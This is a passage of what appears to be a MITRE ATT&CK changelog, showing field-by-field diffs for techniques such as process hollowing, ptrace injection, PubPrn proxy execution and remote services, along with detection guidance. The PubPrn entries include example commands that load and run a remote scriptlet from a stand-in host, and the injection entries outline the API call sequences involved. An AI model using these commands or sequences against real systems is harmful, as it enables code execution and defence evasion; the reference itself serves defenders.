| > | ively.(Citation: Leitch Hollowing)(Citation: Endgame Process | > | ively.(Citation: Leitch Hollowing)(Citation: Elastic Process | ||
| > | Injection July 2017) This is very similar to [Thread Local | > | Injection July 2017) This is very similar to [Thread Local | ||
| > | Storage](https://attack.mitre.org/techniques/T1055/005) but | > | Storage](https://attack.mitre.org/techniques/T1055/005) but | ||
| > | creates a new process rather than targeting an existing pro | > | creates a new process rather than targeting an existing pro | ||
| > | cess. This behavior will likely not result in elevated privi | > | cess. This behavior will likely not result in elevated privi | ||
| > | leges since the injected process was spawned from (and thus | > | leges since the injected process was spawned from (and thus | ||
| > | inherits the security context) of the injecting process. How | > | inherits the security context) of the injecting process. How | ||
| > | ever, execution via process hollowing may also evade detecti | > | ever, execution via process hollowing may also evade detecti | ||
| > | on from security products since the execution is masked unde | > | on from security products since the execution is masked unde | ||
| > | r a legitimate process. | > | r a legitimate process. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:28:08.758000+00:00 | 2021-10-18 12:30:14.640000+00:00 |
| description | Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.
Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Endgame Process Injection July 2017)
This is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.
Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)
This is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. |
| external_references[2]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Modification |
| x_mitre_data_sources[1] | API monitoring | Process: OS API Execution |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Access |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:28:45.651000+00:00 | 2021-10-18 12:30:14.852000+00:00 |
| external_references[2]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | API monitoring | Process: Process Modification |
| x_mitre_data_sources[1] | File monitoring | Module: Module Load |
| x_mitre_data_sources[2] | DLL monitoring | Process: OS API Execution |
| x_mitre_data_sources[3] | Process monitoring | Process: Process Access |
| x_mitre_data_sources[4] | Named Pipes | File: File Modification |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)
Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.
Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)
Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.
Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)
Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Metadata |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into processes via ptr | t | 1 | Adversaries may inject malicious code into processes via ptr |
| > | ace (process trace) system calls in order to evade process-b | > | ace (process trace) system calls in order to evade process-b | ||
| > | ased defenses as well as possibly elevate privileges. Ptrace | > | ased defenses as well as possibly elevate privileges. Ptrace | ||
| > | system call injection is a method of executing arbitrary co | > | system call injection is a method of executing arbitrary co | ||
| > | de in the address space of a separate live process. Ptrace | > | de in the address space of a separate live process. Ptrace | ||
| > | system call injection involves attaching to and modifying a | > | system call injection involves attaching to and modifying a | ||
| > | running process. The ptrace system call enables a debugging | > | running process. The ptrace system call enables a debugging | ||
| > | process to observe and control another process (and each in | > | process to observe and control another process (and each in | ||
| > | dividual thread), including changing memory and register val | > | dividual thread), including changing memory and register val | ||
| > | ues.(Citation: PTRACE man) Ptrace system call injection is c | > | ues.(Citation: PTRACE man) Ptrace system call injection is c | ||
| > | ommonly performed by writing arbitrary code into a running p | > | ommonly performed by writing arbitrary code into a running p | ||
| > | rocess (ex: <code>malloc</code>) then invoking that memory w | > | rocess (ex: <code>malloc</code>) then invoking that memory w | ||
| > | ith <code>PTRACE_SETREGS</code> to set the register containi | > | ith <code>PTRACE_SETREGS</code> to set the register containi | ||
| > | ng the next instruction to execute. Ptrace system call injec | > | ng the next instruction to execute. Ptrace system call injec | ||
| > | tion can also be done with <code>PTRACE_POKETEXT</code>/<cod | > | tion can also be done with <code>PTRACE_POKETEXT</code>/<cod | ||
| > | e>PTRACE_POKEDATA</code>, which copy data to a specific addr | > | e>PTRACE_POKEDATA</code>, which copy data to a specific addr | ||
| > | ess in the target processes’ memory (ex: the current address | > | ess in the target processes’ memory (ex: the current address | ||
| > | of the next instruction). (Citation: PTRACE man)(Citation: | > | of the next instruction). (Citation: PTRACE man)(Citation: | ||
| > | Medium Ptrace JUL 2018) Ptrace system call injection may n | > | Medium Ptrace JUL 2018) Ptrace system call injection may n | ||
| > | ot be possible targeting processes with high-privileges, and | > | ot be possible targeting processes that are non-child proces | ||
| > | on some system those that are non-child processes.(Citation | > | ses and/or have higher-privileges.(Citation: BH Linux Inject | ||
| > | : BH Linux Inject) Running code in the context of another | > | ) Running code in the context of another process may allow | ||
| > | process may allow access to the process's memory, system/net | > | access to the process's memory, system/network resources, a | ||
| > | work resources, and possibly elevated privileges. Execution | > | nd possibly elevated privileges. Execution via ptrace system | ||
| > | via ptrace system call injection may also evade detection fr | > | call injection may also evade detection from security produ | ||
| > | om security products since the execution is masked under a l | > | cts since the execution is masked under a legitimate process | ||
| > | egitimate process. | > | . | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:24:56.734000+00:00 | 2021-10-18 12:26:31.766000+00:00 |
| description | Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.
Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018)
Ptrace system call injection may not be possible targeting processes with high-privileges, and on some system those that are non-child processes.(Citation: BH Linux Inject)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.
Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018)
Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. |
| x_mitre_data_sources[0] | System calls | Process: Process Modification |
| x_mitre_data_sources[1] | Process monitoring | Process: OS API Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Access |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use the trusted PubPrn script to proxy execu | t | 1 | Adversaries may use PubPrn to proxy execution of malicious r |
| > | tion of malicious files. This behavior may bypass signature | > | emote files. PubPrn.vbs is a [Visual Basic](https://attack.m | ||
| > | validation restrictions and application control solutions th | > | itre.org/techniques/T1059/005) script that publishes a print | ||
| > | at do not account for use of these scripts. <code>PubPrn.vb | > | er to Active Directory Domain Services. The script is signed | ||
| > | s</code> is a Visual Basic script that publishes a printer t | > | by Microsoft and is commonly executed through the [Windows | ||
| > | o Active Directory Domain Services. The script is signed by | > | Command Shell](https://attack.mitre.org/techniques/T1059/003 | ||
| > | Microsoft and can be used to proxy execution from a remote s | > | ) via <code>Cscript.exe</code>. For example, the following c | ||
| > | ite.(Citation: Enigma0x3 PubPrn Bypass) An example command i | > | ode publishes a printer within the specified domain: <code>c | ||
| > | s <code>cscript C[:]\Windows\System32\Printing_Admin_Scripts | > | script pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Co | ||
| > | \en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/ | > | m</code>.(Citation: pubprn) Adversaries may abuse PubPrn to | ||
| > | hi.png</code>. | > | execute malicious payloads hosted on remote sites.(Citation | ||
| > | : Enigma0x3 PubPrn Bypass) To do so, adversaries may set the | ||||
| > | second <code>script:</code> parameter to reference a script | ||||
| > | let file (.sct) hosted on a remote site. An example command | ||||
| > | is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/fo | ||||
| > | lder/file.sct</code>. This behavior may bypass signature val | ||||
| > | idation restrictions and application control solutions that | ||||
| > | do not account for abuse of this script. In later versions | ||||
| > | of Windows (10+), <code>PubPrn.vbs</code> has been updated t | ||||
| > | o prevent proxying execution from a remote site. This is don | ||||
| > | e by limiting the protocol specified in the second parameter | ||||
| > | to <code>LDAP://</code>, vice the <code>script:</code> moni | ||||
| > | ker which could be used to reference remote code via HTTP(S) | ||||
| > | . | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Atul Nair, Qualys'] | |
| x_mitre_defense_bypassed | ['Digital Certificate Validation', 'Application Control'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-08 23:36:30.648000+00:00 | 2021-09-01 00:57:01.161000+00:00 |
| description | Adversaries may use the trusted PubPrn script to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application control solutions that do not account for use of these scripts.
PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and can be used to proxy execution from a remote site.(Citation: Enigma0x3 PubPrn Bypass) An example command is cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png. | Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)
Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.
In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S). |
| external_references[1]['source_name'] | Enigma0x3 PubPrn Bypass | pubprn |
| external_references[1]['description'] | Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018. | Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021. |
| external_references[1]['url'] | https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/ | https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn |
| x_mitre_data_sources[0] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Enigma0x3 PubPrn Bypass', 'description': 'Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.', 'url': 'https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/'} | |
| x_mitre_data_sources | Script: Script Execution |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:58:18.490000+00:00 | 2021-03-29 16:13:53.747000+00:00 |
| x_mitre_data_sources[0] | Sensor health and status | Sensor Health: Host Status |
| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | macOS | Windows |
| x_mitre_platforms[1] | Windows | Azure AD |
| x_mitre_platforms[2] | Linux | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | Office 365 | IaaS |
| x_mitre_platforms[5] | Azure AD | Linux |
| x_mitre_platforms[6] | GCP | macOS |
| x_mitre_platforms[7] | Azure | Google Workspace |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Network intrusion detection system | |
| x_mitre_data_sources | Network device logs | |
| x_mitre_platforms | SaaS |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-14 19:48:07.491000+00:00 | 2021-03-08 10:33:02.019000+00:00 |
| x_mitre_data_sources[0] | Process command-line parameters | File: File Access |
| x_mitre_data_sources[1] | Process monitoring | File: File Creation |
| x_mitre_data_sources[2] | File monitoring | Command: Command Execution |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may target an Exchange server or Office 365 to c | t | 1 | Adversaries may target an Exchange server, Office 365, or Go |
| > | ollect sensitive information. Adversaries may leverage a use | > | ogle Workspace to collect sensitive information. Adversaries | ||
| > | r's credentials and interact directly with the Exchange serv | > | may leverage a user's credentials and interact directly wit | ||
| > | er to acquire information from within a network. Adversaries | > | h the Exchange server to acquire information from within a n | ||
| > | may also access externally facing Exchange services or Offi | > | etwork. Adversaries may also access externally facing Exchan | ||
| > | ce 365 to access email using credentials or access tokens. T | > | ge services, Office 365, or Google Workspace to access email | ||
| > | ools such as [MailSniper](https://attack.mitre.org/software/ | > | using credentials or access tokens. Tools such as [MailSnip | ||
| > | S0413) can be used to automate searches for specific keyword | > | er](https://attack.mitre.org/software/S0413) can be used to | ||
| > | s. | > | automate searches for specific keywords. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-02-19 20:53:50.908000+00:00 | 2021-03-25 13:12:56.909000+00:00 |
| description | Adversaries may target an Exchange server or Office 365 to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services or Office 365 to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords. | Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords. |
| x_mitre_data_sources[0] | Authentication logs | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[1] | Email gateway | Logon Session: Logon Session Creation |
| x_mitre_data_sources[2] | Mail server | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Office 365 trace logs |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or | t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or |
| > | g/techniques/T1078) to log into a service specifically desig | > | g/techniques/T1078) to log into a service specifically desig | ||
| > | ned to accept remote connections, such as telnet, SSH, and V | > | ned to accept remote connections, such as telnet, SSH, and V | ||
| > | NC. The adversary may then perform actions as the logged-on | > | NC. The adversary may then perform actions as the logged-on | ||
| > | user. In an enterprise environment, servers and workstation | > | user. In an enterprise environment, servers and workstation | ||
| > | s can be organized into domains. Domains provide centralized | > | s can be organized into domains. Domains provide centralized | ||
| > | identity management, allowing users to login using one set | > | identity management, allowing users to login using one set | ||
| > | of credentials across the entire network. If an adversary is | > | of credentials across the entire network. If an adversary is | ||
| > | able to obtain a set of valid domain credentials, they coul | > | able to obtain a set of valid domain credentials, they coul | ||
| > | d login to many different machines using remote access proto | > | d login to many different machines using remote access proto | ||
| > | cols such as secure shell (SSH) or remote desktop protocol ( | > | cols such as secure shell (SSH) or remote desktop protocol ( | ||
| > | RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote D | > | RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote D | ||
| > | esktop Services) | > | esktop Services) Legitimate applications (such as [Software | ||
| > | Deployment Tools](https://attack.mitre.org/techniques/T1072 | ||||
| > | ) and other administrative programs) may utilize [Remote Ser | ||||
| > | vices](https://attack.mitre.org/techniques/T1021) to access | ||||
| > | remote hosts. For example, Apple Remote Desktop (ARD) on mac | ||||
| > | OS is native software used for remote management. ARD levera | ||||
| > | ges a blend of protocols, including [VNC](https://attack.mit | ||||
| > | re.org/techniques/T1021/005) to send the screen and control | ||||
| > | buffers and [SSH](https://attack.mitre.org/techniques/T1021/ | ||||
| > | 004) for secure file transfer.(Citation: Remote Management M | ||||
| > | DM macOS)(Citation: Kickstart Apple Remote Desktop commands) | ||||
| > | (Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries | ||||
| > | can abuse applications such as ARD to gain remote code exec | ||||
| > | ution and perform lateral movement. In versions of macOS pri | ||||
| > | or to 10.14, an adversary can escalate an SSH session to an | ||||
| > | ARD session which enables an adversary to accept TCC (Transp | ||||
| > | arency, Consent, and Control) prompts without user interacti | ||||
| > | on and gain access to data.(Citation: FireEye 2019 Apple Rem | ||||
| > | ote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstar | ||||
| > | t Apple Remote Desktop commands) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Dan Borges, @1njection'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 12:25:03.251000+00:00 | 2021-10-15 14:15:07.272000+00:00 |
| description | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user. In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user. In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands) |
| x_mitre_data_sources[0] | Windows Registry | Process: Process Creation |
| x_mitre_data_sources[1] | Windows event logs | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Process use of network | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[3] | Process monitoring | Logon Session: Logon Session Creation |
| x_mitre_data_sources[4] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[5] | PowerShell logs | Network Share: Network Share Access |
| x_mitre_data_sources[6] | Packet capture | Module: Module Load |
| x_mitre_detection | Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. | Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. Use of applications such as ARD may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. In macOS, you can review logs for "screensharingd" and "Authentication" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing) |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Remote Management MDM macOS', 'description': 'Apple. (n.d.). Use MDM to enable Remote Management in macOS. Retrieved September 23, 2021.', 'url': 'https://support.apple.com/en-us/HT209161'} | |
| external_references | {'source_name': 'Kickstart Apple Remote Desktop commands', 'description': 'Apple. (n.d.). Use the kickstart command-line utility in Apple Remote Desktop. Retrieved September 23, 2021.', 'url': 'https://support.apple.com/en-us/HT201710'} | |
| external_references | {'source_name': 'Apple Remote Desktop Admin Guide 3.3', 'description': 'Apple. (n.d.). Apple Remote Desktop Administrator Guide Version 3.3. Retrieved October 5, 2021.', 'url': 'https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf'} | |
| external_references | {'source_name': 'FireEye 2019 Apple Remote Desktop', 'description': 'Jake Nicastro, Willi Ballenthin. (2019, October 9). Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil. Retrieved August 16, 2021.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html'} | |
| external_references | {'source_name': 'Lockboxx ARD 2019', 'description': 'Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol). Retrieved September 10, 2021.', 'url': 'http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html'} | |
| external_references | {'source_name': 'Apple Unified Log Analysis Remote Login and Screen Sharing', 'description': 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.', 'url': 'https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | File monitoring | |
| x_mitre_data_sources | DLL monitoring | |
| x_mitre_data_sources | Authentication logs | |
| x_mitre_data_sources | API monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:45:59.638000+00:00 | 2021-07-20 02:18:04.581000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Data loss prevention | File: File Access |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | Drive: Drive Creation |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage the resources of co-opted systems i | t | 1 | Adversaries may leverage the resources of co-opted systems i |
| > | n order to solve resource intensive problems which may impac | > | n order to solve resource intensive problems which may impac | ||
| > | t system and/or hosted service availability. One common pu | > | t system and/or hosted service availability. One common pu | ||
| > | rpose for Resource Hijacking is to validate transactions of | > | rpose for Resource Hijacking is to validate transactions of | ||
